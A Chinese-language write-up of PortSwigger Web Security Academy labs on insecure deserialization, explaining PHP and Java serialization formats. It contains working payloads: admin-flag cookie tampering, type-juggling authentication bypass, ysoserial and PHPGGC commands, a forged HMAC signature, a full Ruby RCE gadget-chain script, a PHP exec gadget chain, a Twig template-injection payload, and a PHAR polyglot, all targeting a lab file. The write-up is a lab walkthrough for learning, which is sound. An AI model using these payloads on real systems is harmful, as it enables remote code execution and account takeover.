BurpWeb安全学院之不安全的反序列化
文章目录
- 介绍
- 1. 如何识别不安全的反序列化
- 1.1. PHP序列化格式
- 1.2 Java序列化格式
- 2. 操作序列化对象
- 2.1. 修改对象属性
- 介绍
- 实验
- 2.2. 修改数据类型
- 介绍
- 实验
- 3. 利用网站程序功能
- 4. 魔术方法
- 5. 注入任意对象
- 介绍
- 实验
- 6. Gadget chains
- 7. ysoserial
- 8. PHPGGC
- 9. Ruby 2.x Universal RCE Gadget Chain
- 10. 构造PHP gadget chain
- 11. 构造JAVA gadget chain
- 12. PHAR反序列化
介绍
burpsuite官网上一套不安全的反序列化实验(免费)
地址在 https://portswigger.net/web-security/deserialization/exploiting
本文是在这个实验室学习的记录
有针对实验的解决,也有别的一些
1. 如何识别不安全的反序列化
测试不安全的反序列化之前,您肯定要能够识别出序列化对象,下面简略介绍两种语言的序列化格式
以便您能够在遇到它们的时候识别出它们
1.1. PHP序列化格式
PHP的序列化对象是可读的,可以用文本表示的(JAVA的则是二进制流,您无法用文本阅读器查看)
其中字母代表数据类型,数字代表每项的长度
若 User
具有以下属性的对象:
$user->name = "carlos";
$user->isLoggedIn = true;
序列化后,该对象可能看起来像这样:
O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}
解释:
O:4:"User"
- 具有4个字符的类名称的对象 "User"
2
-对象具有2个属性
s:4:"name"
-第一个属性的键是4个字符的字符串 "name"
s:6:"carlos"
-第一个属性的值是6个字符的字符串 "carlos"
s:10:"isLoggedIn"
-第二个属性的键是10个字符的字符串 "isLoggedIn"
b:1
-第二个属性的值是布尔值 true
PHP 序列化的方法是serialize()
和unserialize()
1.2 Java序列化格式
JAVA(还有一些别的语言Ruby等) 使用二进制序列化格式
这使人难以阅读,但是序列化数据有一些固定的特征
例如,序列化的Java对象始终以相同的字节开头,它们是 ac ed
Base64下显示为显示rO0
。
如
rO0ABXNyACJkYXRhLnNlc3Npb24udG9rZW4uQWNjZXNzVG9rZW5Vc2Vyc1%2bhUBRJ0u8CAAJMAAthY2Nlc3NUb2tlbnQAEkxqYXZhL2xhbmcvU3RyaW5nO0wACHVzZXJuYW1lcQB%2bAAF4cHQAIEhyUGQ1WVRiYThnb3VMbkZKNE5RSlVNUGFIM0h5ZkUxdAAGd2llbmVy
任何实现该接口的类java.io.Serializable
都可以序列化和反序列化
readObject()
方法 用于从中读取和反序列化数据InputStream
。
2. 操作序列化对象
不安全的反序列化就包括了用户可以对序列化对象进行修改
这可能导致一些越权,代码执行等漏洞
修改幅度有大有小,有的是仅仅修改序列化中的部分字符
有的则是重新生成一个序列化对象,传给网站进行反序列化
在处理序列化对象时可以采用两种方法:
可以直接以对象的字节流形式对其进行编辑,
也可以使用相应的语言编写简短的脚本来自己创建和序列化新对象。
使用二进制序列化格式时,后一种方法通常更容易
2.1. 修改对象属性
介绍
属于修改幅度较小的清空,仅仅修改属性不会使反序列化报错
也保留了原有对象的结构
举一个简单的例子,考虑一个使用序列化User
对象的网站,该网站将有关用户会话的数据存储在cookie中。
如果攻击者在HTTP请求中发现了序列化对象,则他们可能会对其进行解码以找到以下内容:
O:4:"User":2:{s:8:"username":s:6:"carlos"; s:7:"isAdmin":b:0;}
注意到这里的isAdmin属性,
攻击者可以简单地将该属性的布尔值更改为1
(true),重新编码对象,然后使用此修改后的值覆盖其当前cookie
加入网站用如下代码检查当前用户是否有权访问某些管理功能:
$user = unserialize($_COOKIE);
if ($user->isAdmin === true) {// allow access to admin interface
}
就可以越权访问某些页面
实验
一个购物网站页面
利用给我们的 wiener:peter
可以登录
登录后查看Cookie,base64解码后为
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}
尝试修改为(经过尝试需要每一次都修改,burpsuite直接修改cookie值)
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}
再base64加密,url加密得到
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30%3D
修改后出现了管理盘表
进入后有删除用户的操作
删除carlos用户即通过
2.2. 修改数据类型
介绍
我们已经看到了如何修改序列化对象中的属性值,修改数据类型有时候也会有意想不到的效果
这种效果可能基于PHP 的弱等于比较 ==
例如,如果在整数和字符串之间执行弱比较,PHP将尝试将字符串转换为整数,即结果5 == "5"
为true
。
这也适用于以数字开头的任何字母数字字符串。
在这种情况下,PHP将根据初始数字有效地将整个字符串转换为整数值。字符串的其余部分将被完全忽略。因此,5 == "5 of something"
在实践中被视为5 == 5
比较0 :
0 == "Example string" // true
因为没有数字,所以字符串中的数字为0。PHP将整个字符串视为整数0
考虑这种松散的比较运算符与反序列化对象中的用户可控制数据一起使用的情况。这可能会导致危险的逻辑缺陷。
$login = unserialize($_COOKIE)
if ($login['password'] == $password) {// log in successfully
}
假设攻击者修改了password属性,使其包含整数0
而不是预期的字符串。只要存储的密码不是以数字开头,该条件将始终返回true
从而身份验证绕过。
请注意,以任何序列化的对象格式修改数据类型时,务必记住也要更新序列化数据中的任何类型标签和长度指示符,这一点很重要。否则,序列化的对象将被破坏并且不会被反序列化
实验
任务是: 编辑会话cookie中的序列化对象以访问administrator帐户。然后,删除Carlos。
我们登录后的cookie值:
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"XaUdeGmBn1wE6eB0QDcNSze28JC6JGhb";}
用户要修改为administrator,access_token应该是验证身份的
如果将access_token修改为整形,然后值修改为0/1/2/3/4/5/6/7 …
需要一次次尝试,因为如果与access_token比较的值前几位包含了数字就需要不停尝试,直到比较成功
修改administrator: s:8:"username";s:13:"administrator";
修改access_token : s:12:"access_token";i:0;}
拼接就是
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}
处理后
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjEzOiJhZG1pbmlzdHJhdG9yIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO2k6MDt9
burp抓包改cookie
我们成功以管理员身份访问该网站
成功删除Carlos,过关
3. 利用网站程序功能
除了简单地检查属性值外,网站的功能还可能会对反序列化对象中的数据执行危险的操作。
在这种情况下,您可以使用不安全的反序列化来传递意外数据,并利用相关功能造成损害
例如,作为网站“删除用户”功能的一部分,通过访问$user->image_location
属性中的文件路径来删除用户的个人资料图片。
如果这$user
是从序列化对象创建的,则攻击者可以通过将带有image_location
集合的已修改对象传递到任意文件路径来利用此漏洞。
删除他们自己的用户帐户也将删除任意文件。
实验:
一个BLOG网站
用户页面存在删除账号的选项,我们的任务是删除 Carlos 下的 morale.txt
cookie解码后
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"ycE1G0NQK93UD06osTkM7OzCOMfSVlT0";s:11:"avatar_link";s:19:"users/wiener/avatar";}
我们尝试通过更改avatar_link来完成任务
更改为s:23:"users/Carlos/morale.txt";
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"ycE1G0NQK93UD06osTkM7OzCOMfSVlT0";s:11:"avatar_link";s:23:"users/Carlos/morale.txt";}
编码后
Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ5Y0UxRzBOUUs5M1VEMDZvc1RrTTdPekNPTWZTVmxUMCI7czoxMToiYXZhdGFyX2xpbmsiO3M6MjM6InVzZXJzL0Nhcmxvcy9tb3JhbGUudHh0Ijt9
点击delete account
修改数据,发包
并不是我们想象的那样,文件位置找错了 不是 users/Carlos/morale.txt而是 /home/carlos/morale.txt
用备用账号再次尝试
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"ycE1G0NQK93UD06osTkM7OzCOMfSVlT0";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}
Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ5Y0UxRzBOUUs5M1VEMDZvc1RrTTdPekNPTWZTVmxUMCI7czoxMToiYXZhdGFyX2xpbmsiO3M6MjM6Ii9ob21lL2Nhcmxvcy9tb3JhbGUudHh0Ijt9
4. 魔术方法
魔术方法是不必显式调用的方法的特殊子集。而是在发生特定事件或场景时自动调用它们。
魔术方法是各种语言的面向对象编程的共同特征。有时通过在方法名称前添加前缀或双下划线来表示它们。
开发人员可以将魔术方法添加到类中,以便预先确定在发生相应事件或场景时应执行什么代码
何时以及为何调用魔术方法的确切方法因方法而异
PHP中最常见的示例之一是__construct()
,它在实例化该类的对象时被调用,类似于Python的__init__
通常,诸如此类的构造函数魔术方法包含用于初始化实例属性的代码。但是,开发人员可以定制魔术方法以执行他们想要的任何代码。
魔术方法已被广泛使用,它们本身并不表示漏洞。但是,当它们执行的代码处理攻击者可控制的数据(例如来自反序列化对象的数据)时,它们可能会变得危险。当满足相应条件时,攻击者可以利用它来自动对反序列化的数据调用方法。
最重要的是,某些语言具有在反序列化过程中自动调用的魔术方法。例如,PHP的unserialize()
方法查找并调用对象的__wakeup()
magic方法。
在Java反序列化中,该readObject()
方法同样适用,其本质上类似于“重新初始化”序列化对象的构造函数。该ObjectInputStream.readObject()
方法用于从初始字节流中读取数据。但是,可序列化的类也可以声明自己的readObject()
方法,如下所示:
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {...};
这使类可以更紧密地控制其自身字段的反序列化。至关重要的是,以readObject()
这种方式声明的方法就像在反序列化期间调用的魔术方法一样
5. 注入任意对象
介绍
前面只是简单的编辑序列化对象,下面的示例将重新生成序列化对象,交给网站执行
在面向对象的编程中,对象可用的方法由其类确定。因此,如果攻击者可以操纵将哪类对象作为序列化数据传递,则他们可以影响反序列化后甚至序列化期间执行的代码
反序列化方法通常不会检查正在反序列化的内容。这意味着您可以传入网站可用的任何可序列化类的对象,并且该对象将被反序列化。这有效地使攻击者可以创建任意类的实例。
该对象不是预期类的事实并不重要。意外的对象类型可能会导致应用程序逻辑中的异常,但是届时恶意对象将已经实例化。
实验
任务是删除 /home/carlos/morale.txt 文件
提示:
登录之后页面:
根据提示,在sitemap下面找到了这个页面
并且加~能读取源码(可参考 https://www.cnblogs.com/zwfc/p/5466885.html )
这是因为 默认情况下使用Vim编程,在修改文件后系统会自动生成一个带~的备份文件,某些情况下可以对其下载进行查看;
eg:index.php普遍意义上的首页,输入域名不一定会显示。 它的备份文件则为index.php~
<?php// 一个类 : CustomTemplate
class CustomTemplate {// 两个私有变量private $template_file_path;private $lock_file_path;// __construct 在每次创建新对象时先调用此方法public function __construct($template_file_path) {$this->template_file_path = $template_file_path;$this->lock_file_path = $template_file_path . ".lock";}// 判断文件是否存在private function isTemplateLocked() {return file_exists($this->lock_file_path);}// 获得模板public function getTemplate() {return file_get_contents($this->template_file_path);}// 保存模板public function saveTemplate($template) {if (!isTemplateLocked()) {if (file_put_contents($this->lock_file_path, "") === false) {throw new Exception("Could not write to " . $this->lock_file_path);}if (file_put_contents($this->template_file_path, $template) === false) {throw new restore_exception_handler("Could not write to " . $this->template_file_path);}}}// __destruct() 对象的所有引用都被删除或者当对象被显式销毁时执行function __destruct() {// Carlos thought this would be a good ideaif (file_exists($this->lock_file_path)) {unlink($this->lock_file_path);//unlink(filename,context) 删除文件的函数}}
}
?>
到这可以看出这是一个类,里面重定义了 __destruct()
和__construct
销毁这个类的时候会同时销毁$lock_file_path文件
因为用户cookie值也是序列化对象,
(cookie : O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"PDwDb5OoTsZIi0PbFEHYzzBZCjVN1DET";}
)
在用户退出登录时,cookie的这个反序列化可能被销毁
我们替换cookie这个序列化.替换构造的序列化对象
<?php
class CustomTemplate{}
$test = new CustomTemplate;
$test->lock_file_path="/home/carlos/morale.txt";
echo (serialize($test));
?>
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
就会删除CustomTemplate,调用__destruct()方法,从而删除/home/carlos/morale.txt
6. Gadget chains
后面会了解到,不安全的反序列化通常需要利用一系列东西构造payload,称之为Gadget chains
无法描述2333, 后面可以逐步体会到,这里认识一下
7. ysoserial
ysoserial集合了各种java反序列化payload;
地址 https://github.com/frohoff/ysoserial
实验: 同样的登陆后,查看cookie
抓包 cookie为
rO0ABXNyACJkYXRhLnNlc3Npb24udG9rZW4uQWNjZXNzVG9rZW5Vc2Vyc1%2bhUBRJ0u8CAAJMAAthY2Nlc3NUb2tlbnQAEkxqYXZhL2xhbmcvU3RyaW5nO0wACHVzZXJuYW1lcQB%2bAAF4cHQAIEhyUGQ1WVRiYThnb3VMbkZKNE5RSlVNUGFIM0h5ZkUxdAAGd2llbmVy
解码
这里都符合之前提到的Java序列化对象的特征
在这个实验中,我们看不到源码了.
那如何构造反序列化呢?
可以用ysoserial这个工具 构造
下载后运行: java -jar ysoserial.jar CommonsCollections4 ‘rm /home/carlos/morale.txt’ | base64
(linux下)
也可以
java -jar ysoserial.jar CommonsCollections4 ‘rm /home/carlos/morale.txt’ | base64 >1.txt
输出到文件中
有换行可以用word去除换行
这里再用burp全部url编码一下
8. PHPGGC
PHPGGC 是一款能够自动生成主流框架的序列化测试payload的工具,类似 Java 中的 ysoserial
实验:
再次拿到cookie:
%7B%22token%22%3A%22Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJEY2lDS1ViNDhpQWFPVHRueWFsaDgxWWxBa1BuWkRiQiI7fQ%3D%3D%22%2C%22sig_hmac_sha1%22%3A%2262162ee601099aa31be495f524063ffaf36dea66%22%7D
先url解码:
{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJEY2lDS1ViNDhpQWFPVHRueWFsaDgxWWxBa1BuWkRiQiI7fQ==","sig_hmac_sha1":"62162ee601099aa31be495f524063ffaf36dea66"}
显然token值也是base64编码
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"DciCKUb48iAaOTtnyalh81YlAkPnZDbB";}
后面sig_hmac_sha1
是一个认证用的,在wp上可以看到
$sig_hmac_sha1=hash_hmac('sha1', $object, $secretKey)
$secretKey
在泄露的phpinfo()页面可以找到
先用PHPGGC生成反序列化对象
./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64
然后运行代码算出sig_hmac_sha1
<?php
$object="Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==";
$secretKey="mc7sg11yynpuzdsklnc3d5asvve341qw";
$sig_hmac_sha1=hash_hmac('sha1', $object, $secretKey);
echo($sig_hmac_sha1)
?>
得到 a51cdc29d25e84c375e7dd3d5ba2fec0e231899e
构造:
{"token":"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==","sig_hmac_sha1":"a51cdc29d25e84c375e7dd3d5ba2fec0e231899e"}
url编码后替换登录后的cookie
9. Ruby 2.x Universal RCE Gadget Chain
Ruby的一条反序列化利用链,可以执行任意代码
可参考: https://xz.aliyun.com/t/3223
由于Ruby我也没学,就学一下作者找出的利用脚本
改第九行的id,改成要执行的命令,这里我们的任务是删除 /home/carlos/morale.txt ,就改为
rm /home/carlos/morale.txt
#!/usr/bin/env rubyclass Gem::StubSpecificationdef initialize; end
endstub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")# id改为想要执行的命令puts "STEP n"
stub_specification.name rescue nil
putsclass Gem::Source::SpecificFiledef initialize; end
endspecific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)other_specific_file = Gem::Source::SpecificFile.newputs "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])puts "STEP n-2"
$dependency_list.each{} rescue nil
putsclass Gem::Requirementdef marshal_dump[$dependency_list]end
endpayload = Marshal.dump(Gem::Requirement.new)puts "STEP n-3"
Marshal.load(payload) rescue nil
putsputs "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|pipe.print payloadpipe.close_writeputs pipe.getsputs
endputs "Payload (hex):"
puts payload.unpack('H*')[0]
putsrequire "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
修改后直接运行即可,得到:
BAhVOhVHZW06OlJlcXVpcmVtZW50WwZvOhhHZW06OkRlcGVuZGVuY3lMaXN0BzoLQHNwZWNzWwdvOh5HZW06OlNvdXJjZTo6U3BlY2lmaWNGaWxlBjoKQHNwZWNvOhtHZW06OlN0dWJTcGVjaWZpY2F0aW9uBjoRQGxvYWRlZF9mcm9tSSIlfHJtIC9ob21lL2Nhcmxvcy9tb3JhbGUudHh0IDE+JjIGOgZFVG87CAA6EUBkZXZlbG9wbWVudEY=
依然是url编码后替换登陆后cookie
10. 构造PHP gadget chain
直接进入实验,在sitemap里又看到了CustomTemplate.php
后面加~可以看到备份文件( https://www.cnblogs.com/zwfc/p/5466885.html )
<?php
//四个类.CustomTemplate,Product,Description,DefaultMap
//CustomTemplate类中有三个私有变量, 重定义了__construct(),__sleep(),__wakeup(),
//还定义了一个私有函数build_product()
class CustomTemplate {//三个私有变量private $default_desc_type;private $desc;public $product;//当一个对象创建时调用此方法public function __construct($desc_type='HTML_DESC') {$this->desc = new Description();$this->default_desc_type = $desc_type;// Carlos thought this is cool, having a function called in two places... What a genius$this->build_product();}//返回一个包含对象中所有应被序列化的变量名称的数组。serialize函数在序列化类时首先会检查类中是否存在__sleep方法。如果存在,会先调用此方法然后再执行序列化操作。并且只对__sleep返回的数组中的属性进行序列化public function __sleep() {return ["default_desc_type", "desc"];//返回default_desc_type,desc}//与__sleep相反,是在unserialize函数反序列化时首先会检查类中是否存在__wakeup方法public function __wakeup() {$this->build_product();}//创建一个Product对象private function build_product() {$this->product = new Product($this->default_desc_type, $this->desc);}
}
//一个$desc一个__construct()
class Product {public $desc;public function __construct($default_desc_type, $desc) {$this->desc = $desc->$default_desc_type;}
}
//两个私有变量,__construct()
class Description {public $HTML_DESC;public $TEXT_DESC;public function __construct() {// @Carlos, what were you thinking with these descriptions? Please refactor!$this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';$this->TEXT_DESC = 'This product is cool in text';}
}class DefaultMap {private $callback;public function __construct($callback) {$this->callback = $callback;}//属性重载,访问不可访问成员的时候会触发,会调用此方法。public function __get($name) {return call_user_func($this->callback, $name);//call_user_func:把第一个参数作为回调函数调用,后面的$name为回调函数的参数}
}?>
观察源码,从DefaultMap这个类下手,因为里面存在一个回调函数,我们是否可以想办法构造一个能够执行系统命令的函数,作为参数传进DefaultMap,再序列化利用.
假设我们构造了这么一个序列化对象,那么怎么触发执行我们构造的函数呢?
属性重载,读取不可访问属性时,会调用__get
,从而调用我们构造的函数
属性重载可参考: https://blog.csdn.net/woshinannan741/article/details/50394927
PHP中重载 是指PHP对当前对象的不可访问成员的处理
这里就存在一个误区,不存在这个变量也属于不可访问
而一开始我只关注了私有变量$callback
访问$callback
毫无疑问会触发__get
,访问``DefaultMap->$abcdef`也会触发!
再看整个代码哪里存在访问某个对象属性的操作($this除外的
)
在Product类中$desc是我们可控的 ,在CustomTemplate类里面调用了一次
class Product {public $desc;public function __construct($default_desc_type, $desc) {$this->desc = $desc->$default_desc_type;}
}
如果我们传$desc =new DefaultMap(),就能达成我们的目的
在CustomTemplate中存在这么两个函数,我们可以在创建一个CustomTemplate对象的时候控制
default_desc_type
和desc
public function __wakeup() {$this->build_product();}//创建一个Product对象private function build_product() {$this->product = new Product($this->default_desc_type, $this->desc);}
}
<?php
class DefaultMap {private $callback;public function __construct($callback) {$this->callback = $callback;}//属性重载,读取不可访问属性时,会调用此方法。public function __get($name) {return call_user_func($this->callback, $name);//call_user_func:把第一个参数作为回调函数调用,后面的$name为回调函数的参数}
}
function callback($a){echo($a);
}
$test = new DefaultMap("callback");
$a = "hello ,world";
$test->$a;
?>//输出:hello ,world
创建一个CustomTemplate对象,让$default_desc_type
值为"exec",$desc
值为想要执行的命令,这么赋值为
rm /home/carlos/morale.txt
构造:
<?php
class CustomTemplate{}
class DefaultMap{}
$test1 = new CustomTemplate;
$test2 = new DefaultMap;$test2->callback = "exec";$test1->default_desc_type ="rm /home/carlos/morale.txt";
$test1->desc = $test2;
echo(serialize($test1))
?>
O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:4:"exec";}}
TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MTc6ImRlZmF1bHRfZGVzY190eXBlIjtzOjI2OiJybSAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7czo0OiJkZXNjIjtPOjEwOiJEZWZhdWx0TWFwIjoxOntzOjg6ImNhbGxiYWNrIjtzOjQ6ImV4ZWMiO319
然后抓包改cookie就过了,成功删除/home/carlos/morale.txt
11. 构造JAVA gadget chain
JAVA实在不熟,挖个坑以后填
12. PHAR反序列化
关于PHAR与PHAR反序列化原理 请参考: https://www.cnblogs.com/zzjdbk/p/13030571.html
实验:
进入实验环境后选择对站点进行爬取
可以发现两个备份文件
Blog.php源码:
<?php
//注册Twing的autoloader
require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');class Blog {public $user;public $desc;private $twig;//创建一个对象时调用public function __construct($user, $desc) {$this->user = $user;$this->desc = $desc;}//当一个对象被当作字符串对待的时候,触发public function __toString() {return $this->twig->render('index', ['user' => $this->user]);//渲染模板,将this->user作为值传给index模板的user变量}//反序列化时触发public function __wakeup() {//定义了index模板,模板内容为$this->desc$loader = new Twig_Loader_Array(['index' => $this->desc,]);$this->twig = new Twig_Environment($loader);// 加载$loader这个模板}//序列化时触发public function __sleep() {return ["user", "desc"];}
}?>
CustomTemplate.php源码:
<?phpclass CustomTemplate {private $template_file_path;//当一个对象创建时调用此方法public function __construct($template_file_path) {$this->template_file_path = $template_file_path;}//判断'templates/' . $this->template_file_path . '.lock'是否存在private function isTemplateLocked() {return file_exists($this->lockFilePath());}//获取$this->template_file_path内容(字符串形式)public function getTemplate() {return file_get_contents($this->template_file_path);}public function saveTemplate($template) {if (!isTemplateLocked()) {if (file_put_contents($this->lockFilePath(), "") === false) {throw new Exception("Could not write to " . $this->lockFilePath());}if (file_put_contents($this->template_file_path, $template) === false) {throw new Exception("Could not write to " . $this->template_file_path);}}}//某个对象的所有引用都被删除或者当对象被显式销毁时执行。function __destruct() {// Carlos thought this would be a good idea@unlink($this->lockFilePath());//删除$this->lockFilePath()}private function lockFilePath(){return 'templates/' . $this->template_file_path . '.lock';}
}?>
分析源码之前要知道Twing模板引擎的基本用法:(参考 https://blog.csdn.net/ppxin/article/details/88241105 )
Twing基本API的用法:
//使用Twig的第一步是注册它的autoloader
require_once '/path/to/vendor/autoload.php';
//Twig使用加载器(Twig_Loader_String)来定位模板
//这里定义了一个index模板,里面有一个参数name,传lonmar进去会渲染为Hello lonmar!
$loader = new Twig_Loader_Array(array('index' => 'Hello {{ name }}!',
));
//Twing使用环境配置器(Twig_Environment)加载具体的配置参数
$twig = new Twig_Environment($loader);
//模板渲染方法render()第一个参数是加载的模板内容,第二个参数是传递给模板中用到的变量
echo $twig->render('index', array('name' => 'lonmar'));
//输出 Hello lonmar
观察源码,我们从Blog
类重定义的__wakeup()
类开始,(因为有个反序列化)
注意到其中的模板是我们可控的,我们可以加载一个执行我们想要执行命令的模板
再注意到__toString()
我们或许可以用它来渲染我们的模板
在CustomTemplate
中存在__destruct
调用链: CustomTemplate
->__destruct
->lockFilePath()
->unlink()
->phar生效
(这里我也不太清楚emmm,属于个人理解)
贴一个Twing模板注入固定payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
这里改为
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}
构造:
<?php
class CustomTemplate {}
class Blog {}
$object = new CustomTemplate;
$blog = new Blog;
$blog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
$blog->user = 'user';
$object->template_file_path = $blog;
?>
这里又遇到一个问题,图片上传会检查jpg格式,而Phar反序列化又要保证Phar文件格式正确
GitHub上找了一个脚本,能解决此问题: https://github.com/kunte0/phar-jpg-polyglot
修改部分代码:
运行即可生成一张完美的payload
上传后访问 ~ avatar.php?avatar=phar://wiener即可触发不安全的反序列化,执行命令
BurpWeb安全学院之不安全的反序列化相关推荐
- hdf5 目录没有serial_Serial靶机实战
原创Jarry 四叶草网络安全学院 今天研究一下php反序列化,靶机serial实战.目标为获取root权限. 靶机信息 可以去vulhub上下载此靶机,下载好,之后,使用Vmware新建虚拟机打开, ...
- apache相关漏洞
本文由"东塔网络安全学院"总结归纳 CVE-2019-17564-Apache Dubbo反序列化漏洞 CVE-2020-1938-Apache Tomcat文件包含漏洞 CVE ...
- [网络安全自学篇] 八十一.WHUCTF之WEB类解题思路WP(文件上传漏洞、冰蝎蚁剑、反序列化phar)
这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步.前文分享了WHUCTF部分题目,包括代码审计.文件包含.过滤绕过.SQL注入.这篇文 ...
- 详述WebLogic反序列化远程命令执行漏洞的处理过程,云和恩墨技术通讯精选
各位亲爱的用户/读者朋友们: 为了及时共享行业案例,通告共性问题,达成知识共享和提前预防,我们整理和编辑了<云和恩墨技术通讯>(5月刊),通过对过去一段时间的知识回顾和故障归纳,以期提供有 ...
- 序列化_SpreadJS序列化与反序列化表格Serialization+Deserialization
前言 SpreadJS表格控件有着很强大的功能:序列化与反序列化表格.熟练使用该功能达到加快开发进度,减少代码量,降低业务逻辑复杂度,处理一些特殊逻辑需求等效果. 功能使用介绍: 序列化: 通过序列化 ...
- python公开课乐博学院_当我学完 Python ,我学会了些什么【乐搏TestPRO】
本文是本人学完Python后的一遍回顾,加深理解顺便留作手册以备查阅. 学习Python的这几天来,觉得Python还是比较简单,容易上手的,就基本语法而言,但是有些高级特性掌握起来还是有些难度,需要 ...
- BSides Noida CTF 2021 web题wowooofreepoint writeup(两道反序列化)
emmm终于开始正经地写第一篇wp了!撒花撒花~这场比赛也算是我第一个没爆零的比赛,自己独立做出来了一道(半?),拿到flag也是相当开心~(当然还是比较菜,大佬轻喷)比完赛之后自己又去把差一点做出来 ...
- Serializable详解(1):代码验证Java序列化与反序列化
说明:本文为Serializable详解(1),最后两段内容在翻译上出现歧义(暂时未翻译),将在后续的Serializable(2)文中补充. 介绍:本文根据JDK英文文档翻译而成,本译文并非完全按照 ...
- 【反序列化漏洞-02】PHP反序列化漏洞实验详解
为什么要序列化 百度百科上关于序列化的定义是,将对象的状态信息转换为可以存储或传输的形式(字符串)的过程.在序列化期间,对象将其当前状态写入到临时或持久性存储区(非关系型键值对形式的数据库Redis, ...
最新文章
